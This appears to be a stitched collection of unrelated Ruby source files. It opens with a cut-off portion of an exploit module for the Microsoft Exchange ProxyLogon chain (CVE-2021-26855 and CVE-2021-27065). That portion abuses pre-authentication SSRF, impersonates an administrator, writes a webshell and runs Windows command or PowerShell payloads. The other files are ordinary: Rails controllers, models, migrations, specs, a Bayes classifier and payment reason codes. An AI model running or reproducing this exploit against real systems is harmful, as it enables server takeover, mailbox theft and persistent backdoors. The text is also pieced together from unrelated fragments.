sid.to_s.split('-') if ar[-1] != '500' sid = "#{ar[0..6].join('-')}-500" end sid end def random_mapi_id id = "{#{Rex::Text.rand_text_hex(8)}" id = "#{id}-#{Rex::Text.rand_text_hex(4)}" id = "#{id}-#{Rex::Text.rand_text_hex(4)}" id = "#{id}-#{Rex::Text.rand_text_hex(4)}" id = "#{id}-#{Rex::Text.rand_text_hex(12)}}" id.upcase end def random_ssrf_id # https://en.wikipedia.org/wiki/2,147,483,647 (lol) # max. 2147483647 rand(1941962752..2147483647) end def request_autodiscover(server_name) xmlns = { 'xmlns' => 'http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a' } response = send_http( 'POST', "#{server_name}/autodiscover/autodiscover.xml?a=~#{random_ssrf_id}", data: soap_autodiscover, ctype: 'text/xml; charset=utf-8' ) case response.body when %r{<ErrorCode>500</ErrorCode>} fail_with(Failure::NotFound, 'No Autodiscover information was found') when %r{<Action>redirectAddr</Action>} fail_with(Failure::NotFound, 'No email address was found') end xml = Nokogiri::XML.parse(response.body) legacy_dn = xml.at_xpath('//xmlns:User/xmlns:LegacyDN', xmlns)&.content fail_with(Failure::NotFound, 'No \'LegacyDN\' was found') if legacy_dn.nil? || legacy_dn.empty? server = '' xml.xpath('//xmlns:Account/xmlns:Protocol', xmlns).each do |item| type = item.at_xpath('./xmlns:Type', xmlns)&.content if type == 'EXCH' server = item.at_xpath('./xmlns:Server', xmlns)&.content end end fail_with(Failure::NotFound, 'No \'Server ID\' was found') if server.nil? || server.empty? [server, legacy_dn] end # https://docs.microsoft.com/en-us/openspecs/exchange_server_protocols/ms-oxcmapihttp/c245390b-b115-46f8-bc71-03dce4a34bff def request_mapi(server_name, legacy_dn, server_id) data = "#{legacy_dn}\x00\x00\x00\x00\x00\xe4\x04\x00\x00\x09\x04\x00\x00\x09\x04\x00\x00\x00\x00\x00\x00" headers = { 'X-RequestType' => 'Connect', 'X-ClientInfo' => random_mapi_id, 'X-ClientApplication' => datastore['MapiClientApp'], 'X-RequestId' => "#{random_mapi_id}:#{Rex::Text.rand_text_numeric(5)}" } sid = '' response = send_http( 'POST', "Admin@#{server_name}:444/mapi/emsmdb?MailboxId=#{server_id}&a=~#{random_ssrf_id}", data: data, ctype: 'application/mapi-http', headers: headers ) if response.code == 200 sid_regex = /S-[0-9]*-[0-9]*-[0-9]*-[0-9]*-[0-9]*-[0-9]*-[0-9]*/ sid = response.body.match(sid_regex).to_s end fail_with(Failure::NotFound, 'No \'SID\' was found') if sid.empty? sid end def request_oab(server_name, sid, session, canary) data = { 'filter': { 'Parameters': { '__type': 'JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel', 'SelectedView': '', 'SelectedVDirType': 'OAB' } }, 'sort': {} }.to_json response = send_http( 'POST', "Admin@#{server_name}:444/ecp/DDI/DDIService.svc/GetList?reqId=1615583487987&schema=VirtualDirectory&msExchEcpCanary=#{canary}&a=~#{random_ssrf_id}", data: data, cookie: session, ctype: 'application/json; charset=utf-8', headers: { 'msExchLogonMailbox' => patch_sid(sid), 'msExchTargetMailbox' => patch_sid(sid) } ) if response.code == 200 data = JSON.parse(response.body) data['d']['Output'].each do |oab| if oab['Server'].downcase == server_name.downcase return [oab['Identity']['DisplayName'], oab['Identity']['RawIdentity']] end end end [] end def request_proxylogon(server_name, sid) data = "<r at=\"Negotiate\" ln=\"#{datastore['EMAIL'].split('@')[0]}\"><s>#{sid}</s></r>" session_id = '' canary = '' response = send_http( 'POST', "Admin@#{server_name}:444/ecp/proxyLogon.ecp?a=~#{random_ssrf_id}", data: data, ctype: 'text/xml; charset=utf-8', headers: { 'msExchLogonMailbox' => patch_sid(sid), 'msExchTargetMailbox' => patch_sid(sid) } ) if response.code == 241 session_id = response.get_cookies.scan(/ASP\.NET_SessionId=([\w\-]+);/).flatten[0] canary = response.get_cookies.scan(/msExchEcpCanary=([\w\-_.]+);*/).flatten[0] # coin coin coin ... end [session_id, canary] end # pre-authentication SSRF (Server Side Request Forgery) + impersonate as admin. def run_cve_2021_26855 # request for internal server name. response = send_http(datastore['METHOD'], "localhost~#{random_ssrf_id}") if response.code != 500 || !response.headers.to_s.include?('X-FEServer') fail_with(Failure::NotFound, 'No \'X-FEServer\' was found') end server_name = response.headers['X-FEServer'] print_status("Internal server name (#{server_name})") # get informations by autodiscover request. print_status(message('Sending autodiscover request')) server_id, legacy_dn = request_autodiscover(server_name) print_status("Server: #{server_id}") print_status("LegacyDN: #{legacy_dn}") # get the user UID using mapi request. print_status(message('Sending mapi request')) sid = request_mapi(server_name, legacy_dn, server_id) print_status("SID: #{sid} (#{datastore['EMAIL']})") # search oab sid, session, canary, oab_id = search_oab(server_name, sid) [server_name, sid, session, canary, oab_id] end # post-auth arbitrary file write. def run_cve_2021_27065(session_info) # set external url (and set the payload). print_status('Prepare the payload on the remote target') input_name = install_payload(session_info) fail_with(Failure::NoAccess, 'Could\'t prepare the payload on the remote target') if input_name.empty? # reset the virtual directory (and write the payload). print_status('Write the payload on the remote target') remote_file = write_payload(session_info) fail_with(Failure::NoAccess, 'Could\'t write the payload on the remote target') if remote_file.empty? # wait a lot. i = 0 while i < datastore['MaxWaitLoop'] received = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(web_directory, remote_file) }) if received && (received.code == 200) break end print_warning("Wait a lot (#{i})") sleep 5 i += 1 end fail_with(Failure::PayloadFailed, 'Could\'t take the remote backdoor (see. ExchangePathBase option)') if received.code == 302 [input_name, remote_file] end def search_oab(server_name, sid) # request cookies (session and canary) print_status(message('Sending ProxyLogon request')) print_status('Try to get a good msExchCanary (by patching user SID method)') session_id, canary = request_proxylogon(server_name, patch_sid(sid)) if canary session = "ASP.NET_SessionId=#{session_id}; msExchEcpCanary=#{canary};" oab_id = request_oab(server_name, sid, session, canary) end if oab_id.nil? || oab_id.empty? print_status('Try to get a good msExchCanary (without correcting the user SID)') session_id, canary = request_proxylogon(server_name, sid) if canary session = "ASP.NET_SessionId=#{session_id}; msExchEcpCanary=#{canary};" oab_id = request_oab(server_name, sid, session, canary) end end fail_with(Failure::NotFound, 'No \'ASP.NET_SessionId\' was found') if session_id.nil? || session_id.empty? fail_with(Failure::NotFound, 'No \'msExchEcpCanary\' was found') if canary.nil? || canary.empty? fail_with(Failure::NotFound, 'No \'OAB Id\' was found') if oab_id.nil? || oab_id.empty? print_status("ASP.NET_SessionId: #{session_id}") print_status("msExchEcpCanary: #{canary}") print_status("OAB id: #{oab_id[1]} (#{oab_id[0]})") return [sid, session, canary, oab_id] end def send_http(method, ssrf, opts = {}) ssrf = "X-BEResource=#{ssrf};" if opts[:cookie] && !opts[:cookie].empty? opts[:cookie] = "#{ssrf} #{opts[:cookie]}" else opts[:cookie] = ssrf.to_s end opts[:ctype] = 'application/x-www-form-urlencoded' if opts[:ctype].nil? request = { 'method' => method, 'uri' => @random_uri, 'agent' => datastore['UserAgent'], 'ctype' => opts[:ctype] } request = request.merge({ 'data' => opts[:data] }) unless opts[:data].nil? request = request.merge({ 'cookie' => opts[:cookie] }) unless opts[:cookie].nil? request = request.merge({ 'headers' => opts[:headers] }) unless opts[:headers].nil? received = send_request_cgi(request) fail_with(Failure::TimeoutExpired, 'Server did not respond in an expected way') unless received received end def soap_autodiscover <<~SOAP <?xml version="1.0" encoding="utf-8"?> <Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006"> <Request> <EMailAddress>#{datastore['EMAIL']}</EMailAddress> <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema> </Request> </Autodiscover> SOAP end def web_directory if datastore['UseAlternatePath'] web_dir = datastore['IISWritePath'].gsub('\\', '/') else web_dir = datastore['ExchangeWritePath'].gsub('\\', '/') end web_dir end def write_payload(exploit_info) # exploit_info: [server_name, sid, session, canary, oab_id] remote_file = "#{rand_text_alpha(4..8)}.aspx" if datastore['UseAlternatePath'] remote_path = "#{datastore['IISBasePath'].split(':')[1]}\\#{datastore['IISWritePath']}" remote_path = "\\\\127.0.0.1\\#{datastore['IISBasePath'].split(':')[0]}$#{remote_path}\\#{remote_file}" else remote_path = "#{datastore['ExchangeBasePath'].split(':')[1]}\\FrontEnd\\HttpProxy\\#{datastore['ExchangeWritePath']}" remote_path = "\\\\127.0.0.1\\#{datastore['ExchangeBasePath'].split(':')[0]}$#{remote_path}\\#{remote_file}" end data = { 'identity': { '__type': 'Identity:ECP', 'DisplayName': (exploit_info[4][0]).to_s, 'RawIdentity': (exploit_info[4][1]).to_s }, 'properties': { 'Parameters': { '__type': 'JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel', 'FilePathName': remote_path.to_s } } }.to_json response = send_http( 'POST', "Admin@#{exploit_info[0]}:444/ecp/DDI/DDIService.svc/SetObject?schema=ResetOABVirtualDirectory&msExchEcpCanary=#{exploit_info[3]}&a=~#{random_ssrf_id}", data: data, cookie: exploit_info[2], ctype: 'application/json; charset=utf-8', headers: { 'msExchLogonMailbox' => patch_sid(exploit_info[1]), 'msExchTargetMailbox' => patch_sid(exploit_info[1]), 'X-vDirObjectId' => (exploit_info[4][1]).to_s } ) return '' if response.code != 200 remote_file end def exploit @proto = (ssl ? 'https' : 'http') @random_uri = normalize_uri('ecp', "#{rand_text_alpha(1..3)}.js") print_status(message('Attempt to exploit for CVE-2021-26855')) exploit_info = run_cve_2021_26855 print_status(message('Attempt to exploit for CVE-2021-27065')) shell_info = run_cve_2021_27065(exploit_info) @random_inputname = shell_info[0] @random_filename = shell_info[1] print_good("Yeeting #{datastore['PAYLOAD']} payload at #{peer}") if datastore['UseAlternatePath'] remote_file = "#{datastore['IISBasePath']}\\#{datastore['IISWritePath']}\\#{@random_filename}" else remote_file = "#{datastore['ExchangeBasePath']}\\FrontEnd\\HttpProxy\\#{datastore['ExchangeWritePath']}\\#{@random_filename}" end register_files_for_cleanup(remote_file) # trigger powa! case target['Type'] when :windows_command vprint_status("Generated payload: #{payload.encoded}") if !cmd_windows_generic? execute_command(payload.encoded) else response = execute_command("cmd /c #{payload.encoded}") print_warning('Dumping command output in response') output = response.body.split('Name :')[0] if output.empty? print_error('Empty response, no command output') return end print_line(output) end when :windows_dropper execute_command(generate_cmdstager.join) when :windows_powershell cmd = cmd_psh_payload(payload.encoded, payload.arch.first, remove_comspec: true) execute_command(cmd) end end end
class Store::CategoriesController < Store::StoreController def show @category = ProductCategory.find_by(slug: params[:slug]) @store_categories = ProductCategory.visible.active.sorted @products = @category.products.visible.active.sorted end end
require 'stemmer' class Classifier def initialize() @initialized = false @count_class = Hash.new @count_word = Hash.new @word_probabilities = Hash.new @class_probabilities = Hash.new @sum_of_words = 0 end def info puts "Classifier knows about #{@count_word.keys} categories and it have" @count_word.keys.each { |k| puts "#{k} => #{@count_word[k].length}" } puts "unique words trained" end def train(p_class, p_word, count=1) @initialized = false word = String.new(p_word) word = self.prepare_word(word) return if word == nil or word.length < 3 # puts "Training [#{p_class}] class with word: #{word}" @count_word[p_class] ||= Hash.new @count_word[p_class][p_word.downcase] ||= 0 @count_word[p_class][p_word.downcase] += count end def prepare_word(word) word.stem.downcase.gsub(/[^a-zA-Z ]/, '') end def classify(input) probabilities = Hash.new @count_word.keys.each do |key| probabilities[key] = self.pr_in_category(input, key) end return probabilities.sort_by {|k,v| v}.reverse end def pr_in_category(input, category) self.create_classifier if !@initialized @initialized = true pr = 1 pr_zero = true input_hash = self.preprocess(input) #puts "Hash: #{input_hash}" input_hash.each do |v_word, v_count| next if !@word_probabilities[category].has_key?(v_word) if !@word_probabilities[category].has_key?(v_word) @word_probabilities[category][v_word] = 1/@sum_of_words end pr_zero = false pr *= @word_probabilities[category][v_word] ** v_count #puts "P(#{v_word}|#{category})=#{@word_probabilities[category][v_word]}" end if pr_zero return 0 else return @class_probabilities[category] * pr end end #this should be private def preprocess(input) tmp = String.new(input) output = Hash.new #print "tmp is '#{tmp}' and its gsub is '#{tmp.gsub(/[^a-zA-Z ]/, ' ')}'" tmp.gsub(/[^a-zA-Z ]/, ' ').split.each do |word| stem = word.downcase.stem next if stem.length < 3 output[stem] ||= 0 output[stem] += 1 end return output end def create_classifier puts "Creating classifier" @sum_of_words = 0 @count_word.each do |v_class, v_word| v_word.each { |v_w, v_num| @sum_of_words += v_num } end num_of_categories = @count_word.length puts "#{@sum_of_words} words in #{num_of_categories} categories to train the classifier" @count_word.keys.each { |v_class| self.determine_probabilities(v_class) } end def determine_probabilities(p_class) words_in_class = 0 @count_word[p_class].each { |v_word, v_num| words_in_class += v_num } puts "We have #{words_in_class} words in class #{p_class}" @word_probabilities[p_class] = Hash.new @count_word[p_class].each do |v_word, v_num| word_count = 0; @count_word.each do |v_class, v_word_hash| if v_word_hash.has_key?(v_word) word_count += v_word_hash[v_word] end end #puts "Word #{v_word} count in class #{p_class} is equal to #{v_num} and in all categories it is equal to #{word_count}" @word_probabilities[p_class][v_word] = v_num.to_f / word_count.to_f end #@class_probabilities[p_class] = 1 @class_probabilities[p_class] = words_in_class /@sum_of_words.to_f #puts "#{@class_probabilities[p_class]} x #{@word_probabilities[p_class]}" end end
class ApplicationRecord < ActiveRecord::Base self.abstract_class = true max_paginates_per 100 private def self.optional_param_scope(name = nil, value = nil) if value.present? where("#{name}" => value) end end def self.optional_date_scope(name = nil, value = nil) if value.present? where("date(#{name}) = ?", value) end end end
require 'rails_helper' RSpec.describe Meaning, :type => :model do it { should have_many(:words) } end
require 'minitest/autorun' require "minitest/reporters" Minitest::Reporters.use! =begin Write a minitest assertion that will fail if the 'xyz' is not in the Array list. =end class IsStringInArray < Minitest::Test def setup @ary = ['abc', 'efg', 'xyz'] end def test_that_string_is_included_in_array assert_includes(@ary, 'xyz', 'string is not included in collection') end end
module Cybersourcery class ReasonCodeChecker REASON_CODE_EXPLANATIONS = { '100' => 'Successful transaction.', '101' => 'Declined: The request is missing one or more required fields.', '102' => 'Declined: One or more fields in the request contains invalid data', '104' => 'Declined: An identical authorization request has been submitted within the past 15 minutes', '110' => 'Partial amount was approved', '150' => 'Error: General system failure. Please wait a few minutes and try again.', '151' => 'Error: The request was received but there was a server timeout. Please wait a few minutes and try again.', '152' => 'Error: The request was received, but a service did not finish running in time. Please wait a few minutes and try again.', '200' => 'Declined: The authorization request was approved by the issuing bank but declined by CyberSource because it did not pass the Address Verification Service (AVS) check', '201' => 'Declined: The issuing bank has questions about the request. Please contact your credit card company.', '202' => 'Declined: Expired card. Please verify your card information, or try a different card.', '203' => 'Declined: General decline of the card. No other information provided by the issuing bank. Please try a different card.', '204' => 'Declined: Insufficient funds in the account. Please try a different card.', '205' => 'Declined: Stolen or lost card', '207' => 'Declined: Issuing bank unavailable. Please wait a few minutes and try again.', '208' => 'Declined: Inactive card or card not authorized for card-not-present transactions. Please try a different card.', '209' => 'Declined: American Express Card Identification Digits (CID) did not match. Please verify your card information, or try a different card.', '210' => 'Declined: The card has reached the credit limit. Please try a different card.', '211' => 'Declined: Invalid card verification number. Please verify your card information, or try a different card.', '220' => 'Declined: Generic decline', '221' => 'Declined: The customer matched an entry on the processor’s negative file.', '222' => 'Declined: The customer\'s account is frozen', '230' => 'Declined: The authorization request was approved by the issuing bank but declined by CyberSource because it did not pass the card verification (CV) check', '231' => 'Declined: Invalid account number, or the card type is not valid for the number provided. Please try a different card.', '232' => 'Declined: The card type is not accepted by the payment processor. Please try a different card.', '233' => 'Declined: General decline by the processor. Please try a different card.', '234' => 'Declined: There is a problem with your CyberSource merchant configuration', '235' => 'Declined: The requested amount exceeds the originally authorized amount.', '236' => 'Declined: Processor failure. Please wait a few minutes and try again.', '237' => 'Declined: The authorization has already been reversed', '238' => 'Declined: The authorization has already been captured', '239' => 'Declined: The requested transaction amount must match the previous transaction amount.', '240' => 'Declined: The card type sent is invalid or does not correlate with the credit card number', '241' => 'Declined: The request ID is invalid', '242' => 'Declined: You requested a capture, but there is no corresponding, unused authorization record. Occurs if there was not a previously successful authorization request or if the previously successful authorization has already been used by another capture request', '243' => 'Declined: The transaction has already been settled or reversed', '246' => 'Declined: The capture or credit is not voidable because the capture or credit information has already been submitted to your processor. Or, you requested a void for a type of transaction that cannot be voided', '247' => 'Declined: You requested a credit for a capture that was previously voided', '248' => 'Declined: The boleto request was declined by your processor.', '250' => 'Error: The request was received, but there was a timeout at the payment processor. Please try again in a few minutes.', '251' => "Declined: The Pinless Debit card's use frequency or maximum amount per use has been exceeded.", '254' => 'Declined: Account is prohibited from processing stand-alone refunds.', '400' => 'Declined: Fraud score exceeds threshold.', '450' => 'Apartment number missing or not found. Please verify your address information and try again.', '451' => 'Insufficient address information. Please verify your address information and try again.', '452' => 'House/Box number not found on street. Please verify your address information and try again.', '453' => 'Multiple address matches were found. Please verify your address information and try again.', '454' => 'P.O. Box identifier not found or out of range. Please verify your address information and try again.', '455' => 'Route service identifier not found or out of range. Please verify your address information and try again.', '456' => 'Street name not found in Postal code. Please verify your address information and try again.', '457' => 'Postal code not found in database. Please verify your address information and try again.', '458' => 'Unable to verify or correct address. Please verify your address information and try again.', '459' => 'Multiple international address matches were found. Please verify your address information and try again.', '460' => 'Address match not found. Please verify your address information and try again.', '461' => 'Error: Unsupported character set.', '475' => 'Error: The cardholder is enrolled in Payer Authentication. Please authenticate the cardholder before continuing with the transaction.', '476' => 'Error: Encountered a Payer Authentication problem. Payer could not be authenticated.', '480' => 'The order is marked for review by the Cybersource Decision Manager', '481' => 'Error: The order has been rejected by the Cybersource Decision Manager', '520' => 'Declined: The authorization request was approved by the issuing bank but declined by CyberSource based on your Smart Authorization settings.', '700' => 'Restricted: The customer matched the Denied Parties List', '701' => 'Restricted: Export bill_country/ship_country match', '702' => 'Restricted: Export email_country match', '703' => 'Restricted: Export hostname_country/ip_country match' } def self.run(reason_code) REASON_CODE_EXPLANATIONS.fetch( reason_code, "Declined: unknown reason (code #{reason_code})" ) end def self.run!(reason_code) if reason_code == '100' self.run(reason_code) else raise Cybersourcery::CybersourceryError, self.run(reason_code) end end end end
# frozen_string_literal: true class AddElevationGainToSpotsVtts < ActiveRecord::Migration[6.0] def change add_column :spots_vtts, :elevation_gain, :float end end
class AddOrganization < ActiveRecord::Migration[5.2] def change create_table :organizations do |t| t.string :title t.integer :organization_type_id t.string :inn t.string :ogrn end end end
module OWD class InventoryStatus < Document def _build opts = {} if opts[:filters] doc.tag!(self.owd_name) do opts[:filters].each do |filt| doc.tag!('FILTER') do filt.each do |key, value| doc.tag!(key.upcase, value) end end end end else doc.tag!(self.owd_name) end end end end
#!/usr/bin/env ruby require 'yaml' require 'octokit' require 'priha' include Priha config_file = if /mswin|msys|mingw|cygwin|bccwin|wince|emc/ =~ RUBY_PLATFORM File.join(ENV['USERPROFILE'], '.priha_config.yml') else File.join(ENV['HOME'], '.priha_config.yml') end unless File.exist?(config_file) STDERR.puts <<-EOS ERROR: #{config_file} is not found. Priha requires #{config_file} where your GitHub information is set like the followings. ------------------------------------------------------------------------------- username: <your github username> repo: <your github repository to push for a temporary pull request> parent_branch: <default parent branch to merge> (optional) access_token: <your github access token> (optional) ------------------------------------------------------------------------------- Note that you can specify parent_branch by passing that name as an argument, and access_token will be overwritten by "GITHUB_ACCESS_TOKEN" environment variable when exists. EOS exit 1 end # TODO: handle when config_file is empry config = YAML.load_file(config_file) errors = %w(username repo parent_branch access_token).each_with_object({}) do |i, a| a[i] = "not set" unless config.include?(i) end if ARGV[0] config['parent_branch'] = ARGV[0] errors.delete('parent_branch') end if ENV['GITHUB_ACCESS_TOKEN'] config['access_token'] = ENV['GITHUB_ACCESS_TOKEN'] errors.delete('access_token') end unless errors.empty? errors.each { |k, v| STDERR.puts "ERROR: #{k} is #{v}" } exit 1 end client = Octokit::Client.new(access_token: config['access_token']) # Remove all branches client.branches("#{config['username']}/#{config['repo']}").each do |branch| client.delete_branch("#{config['username']}/#{config['repo']}", branch.name) end if config['parent_branch'] == current_branch STDERR.puts "ERROR: #{config['parent_branch']} and #{current_branch} are identical" exit 1 end puts 'Pushing branches. It may takes a while...' add_remote(config['access_token'], config['username'], config['repo']) push(config['parent_branch'], "#{config['parent_branch']}-#{IDENTIFIER}") push(current_branch, "#{current_branch}-#{IDENTIFIER}") remove_remote client.create_pull_request( "#{config['username']}/#{config['repo']}", "#{config['parent_branch']}-#{IDENTIFIER}", "#{current_branch}-#{IDENTIFIER}", "Pull Request Rehearsal", "This is a pull request rehearsal for a life." ) files_url = client.pull_requests("#{config['username']}/#{config['repo']}", state: 'open').first.html_url + '/files' puts files_url if /darwin|mac os/ =~ RUBY_PLATFORM `open #{files_url}` end
require 'spec_helper' describe 'cube', :type => :class do context 'no parameters' do let(:facts) { {:operatingsystem => 'Debian'} } it { should contain_package('cube').with_provider('npm').with_ensure('latest')} it { should create_class('cube::config')} it { should create_class('cube::install')} it { should create_class('cube::service')} it { should contain_file('/etc/init/cube-evaluator.conf')} it { should contain_file('/etc/init/cube-collector.conf')} it { should contain_service('cube-collector').with_ensure('running').with_enable('true') } it { should contain_service('cube-evaluator').with_ensure('running').with_enable('true') } context 'default collector config' do it { should contain_file('/usr/local/lib/node_modules/cube/bin/collector-config.js').with_content(/127\.0\.0\.1/)} it { should contain_file('/usr/local/lib/node_modules/cube/bin/collector-config.js').with_content(/1080/)} it { should contain_file('/usr/local/lib/node_modules/cube/bin/collector-config.js').with_content(/1180/)} it { should_not contain_file('/usr/local/lib/node_modules/cube/bin/collector-config.js').with_content(/mongo_username/)} it { should_not contain_file('/usr/local/lib/node_modules/cube/bin/collector-config.js').with_content(/mongo_password/)} end context 'default evaluator config' do it { should contain_file('/usr/local/lib/node_modules/cube/bin/evaluator-config.js').with_content(/127\.0\.0\.1/)} it { should contain_file('/usr/local/lib/node_modules/cube/bin/evaluator-config.js').with_content(/1081/)} it { should_not contain_file('/usr/local/lib/node_modules/cube/bin/evaluator-config.js').with_content(/mongo_username/)} it { should_not contain_file('/usr/local/lib/node_modules/cube/bin/evaluator-config.js').with_content(/mongo_password/)} end context 'passing a custom port for the collector' do let(:params) { {:collector_http_port => 8990} } it { should contain_file('/usr/local/lib/node_modules/cube/bin/collector-config.js').with_content(/8990/)} end context 'cube_source parameter set' do let(:params) { {:cube_source => 'https://github.com/square/cube/archive/master.tar.gz'} } it { should contain_package('cube').with_provider('npm').with_ensure('present')} end end end
require 'spec_helper' describe User do describe "with minimal attributes" do subject do User.create \ :username => 'aap', :email => 'aap@example.com', :password => 'nootjes', :password_confirmation => 'nootjes' end specify { should have(:no).errors } specify { should be_registered } end describe "with no attributes at all" do subject { User.create } specify { should have(4).errors } specify { should have(1).error_on(:email)} specify { should have(1).error_on(:username)} specify { should have(1).error_on(:password)} specify { should have(1).error_on(:password_confirmation)} end describe "uniqueness of e-mail" do subject do User.create! \ :username => 'aap', :email => 'aap@example.com', :password => 'nootjes', :password_confirmation => 'nootjes' User.new :username => 'aap', :email => 'aap@example.com' end it "should check uniqueness of email" do should have(1).error_on(:email) end it "should check uniqueness of username" do should have(1).error_on(:username) end end describe "of type maintainer" do subject { User.new.tap {|u| u.user_type = 'maintainer'} } specify { subject.should be_maintainer } specify { subject.should_not be_communicator } end describe "of type communicator" do subject { User.new.tap {|u| u.user_type = 'communicator'} } specify { subject.should be_communicator } specify { subject.should_not be_maintainer } end end
class Tag < ActiveRecord::Base has_and_belongs_to_many :categories validates :name, uniqueness: true def to_param name end end
#Utilizes EntityMoving and provides #semi-realistic movement according to force #specified for Entity's using this module. #The force (ep_fx,ep_fy) corresponds to the #distance effectively passed over multiple frames. #To get a certain speed, add the desired value to #the force each frame, e.g.: #self.ep_fx += @runspeed module EntityPhysics #you can specify the force with which the speed is manipulated attr_accessor :ep_fx, :ep_fy #for module inter-dependencies, see: #https://stackoverflow.com/questions/4914913/how-do-i-include-a-module-into-another-module-refactor-aasm-code-and-custom-sta def self.included klass klass.class_eval do include EntityMoving end end def initialize x,y,z,w,h super @ep_fx = 0 @ep_fy = 0 end #returns true if entity is stuck def ep_action instance # apply force self.em_sx = (@ep_fx/4).to_i self.em_sy = (@ep_fy/4).to_i # reduce force @ep_fx -= self.em_sx @ep_fy -= self.em_sy # delegate to lower layer result = em_action instance # bump if @ep_fx > 0 && self.em_bumpr != nil @ep_fx = 0 end if @ep_fx < 0 && self.em_bumpl != nil @ep_fx = 0 end if @ep_fy > 0 && self.em_bumpd != nil @ep_fy = 0 end if @ep_fy < 0 && self.em_bumpu != nil @ep_fy = 0 end return result end end
require 'sinatra/base' # You have the application scope binding inside: # Your application class body # Methods defined by extensions # The block passed to helpers # Procs/blocks used as value for set # The block passed to Sinatra.new # You can reach the scope object (the class) like this: # Via the object passed to configure blocks (configure { |c| ... }) # settings from within the request scope class MyApp < Sinatra::Base # Hey, I'm in the applcation scope! set :foo, 42 foo # => 42 get '/foo' do # Hey, I'm no longer in the application scope! end end
class K0300 attr_reader :options, :name, :field_type, :node def initialize @name = "Weight Loss - Loss of 5% or more in the last month or loss of 10% or more in the last 6 months. (K0300)" @field_type = DROPDOWN @node = "K0300" @options = [] @options << FieldOption.new("^", "NA") @options << FieldOption.new("0", "No or unknown") @options << FieldOption.new("1", "Yes, on physician-prescribed weight-loss regimen") @options << FieldOption.new("2", "Yes, not on physician-prescribed weight-loss regimen") end def set_values_for_type(klass) return "0" end end
require_relative('../db/sql_runner.rb') class Session attr_reader :name, :capacity, :id def initialize(options) @id = options['id'].to_i if options['id'] @name = options['name'] @capacity = options['capacity'].to_i end #CRUD def save sql = 'INSERT INTO sessions (name, capacity) VALUES ($1, $2) RETURNING id' values = [@name, @capacity] @id = SqlRunner.run(sql, values).first['id'].to_i end def self.all sql = 'SELECT * FROM sessions' return SqlRunner.run(sql).map {|session| Session.new(session)} end def self.find(id) sql = 'SELECT * FROM sessions WHERE id = $1' values = [id] session = SqlRunner.run(sql, values).first return Session.new(session) if session != nil end def update sql = 'UPDATE sessions SET (name, capacity) = ($1, $2) WHERE id = $3' values = [@name, @capacity, @id] SqlRunner.run(sql, values) end def delete sql = 'DELETE FROM sessions WHERE id = $1' values = [@id] SqlRunner.run(sql, values) end def self.delete_all sql = 'DELETE FROM sessions' SqlRunner.run(sql) end #Search def attendance sql = 'SELECT members.* FROM members JOIN bookings ON bookings.member_id = members.id WHERE session_id = $1' values = [@id] return SqlRunner.run(sql, values).map {|member| Member.new(member)} end end
require 'rails_helper' feature "user likes a friend's post" do context "from the friend's profile" do before(:each) do @bob = FactoryBot.create(:user, name: "bob", email: "bob@example.com") @frank = FactoryBot.create(:user, name: "frank", email: "frank@example.com") @frank.friends << @bob @post = @bob.posts.create(body: "this is a post") sign_in @frank visit root_path click_on "frank" click_on "friends" click_on "bob" like(@post) end scenario "they are redirected back to the post author's profile" do expect(page).to have_current_path(user_profile_path(@bob)) end scenario "the user sees the like count increment" do expect(page).to have_post_with_likes(@post, 1) end scenario "the user doesn't see the like button anymore" do user_doesnt_see_post_like_button(@post) end scenario "the user now sees an 'unlike' button" do user_sees_post_unlike_button(@post) end scenario "the friend receives a notification" do sign_out @frank sign_in @bob visit root_path click_on "notifications" expect(page).to have_content("frank liked your post") end scenario "the friend clicks the link in the notification and is brought back to the original post" do sign_out @frank sign_in @bob visit root_path click_on "notifications" click_post_link_in_notification(@bob.notifications.last) expect(page).to have_content(@post.body) end end context "from the timeline" do before(:each) do @bob = FactoryBot.create(:user, name: "bob", email: "bob@example.com") @frank = FactoryBot.create(:user, name: "frank", email: "frank@example.com") @frank.friends << @bob @post = @bob.posts.create(body: "this is a post") sign_in @frank visit root_path click_on "timeline" like(@post) end scenario "they are redirected back to the timeline" do expect(page).to have_current_path(posts_path) end scenario "the user sees the like count increment" do expect(page).to have_post_with_likes(@post, 1) end scenario "the user doesn't see the like button anymore" do user_doesnt_see_post_like_button(@post) end scenario "the user now sees an 'unlike' button" do user_sees_post_unlike_button(@post) end scenario "the friend receives a notification" do sign_out @frank sign_in @bob visit root_path click_on "notifications" expect(page).to have_content("frank liked your post") end scenario "the friend clicks the link in the notification and is brought back to the original post" do sign_out @frank sign_in @bob visit root_path click_on "notifications" click_post_link_in_notification(@bob.notifications.last) expect(page).to have_content(@post.body) end end end
class UnitsController < ApplicationController before_action :authorize_admin before_action :set_unit, only: [:show, :edit, :update, :destroy] def index respond_to do |format| format.html format.json { render json: UnitDatatable.new(params) } end end def show end def new @unit = Unit.new end def create @unit = Unit.new(unit_params) if @unit.save redirect_to units_path else render :new end end def edit end def update if @unit.update_attributes(unit_params) redirect_to units_path # , suссess: 'Подразделение обновлено' else # flash.now[:danger] = 'Подразделение не обновлено' render :edit end end def destroy @unit.destroy redirect_to units_path # , suссess: 'Подразделение удалено' end private def unit_params params.require(:unit).permit(:title,:relevance) end def set_unit @unit = Unit.find(params[:id]) end def authorize_admin return unless !current_user.try(:admin?) redirect_to root_path, alert: 'Admins only!' end end
class Song attr_accessor :name, :artist, :genre @@all = [] def initialize(name, artist = nil, genre = nil) @name = name self.artist = artist self.genre = genre end def save @@all << self end def self.all @@all end def self.destroy_all @@all.clear end def self.create(name) instance = self.new(name) instance.save instance end def artist=(artist) @artist = artist if artist.class == Artist artist.add_song(self) if self.artist != nil end end def genre=(genre) @genre = genre if genre != nil && genre.class == Genre genre.songs << self if !genre.songs.include?(self) end end def self.find_by_name(name) self.all.find{|song| song.name == name} end def self.find_or_create_by_name(name) if !self.find_by_name(name) self.create(name) else self.find_by_name(name) end end def self.new_from_filename(file_name) song_name = file_name.split(" - ")[1] artist_name = file_name.split(" - ")[0] genre_name = file_name.split(" - ")[2].gsub(".mp3", "") artist_object = Artist.find_or_create_by_name(artist_name) genre_object = Genre.find_or_create_by_name(genre_name) Song.new(song_name, artist_object, genre_object) end def self.create_from_filename(file_name) @@all << Song.new_from_filename(file_name) end end
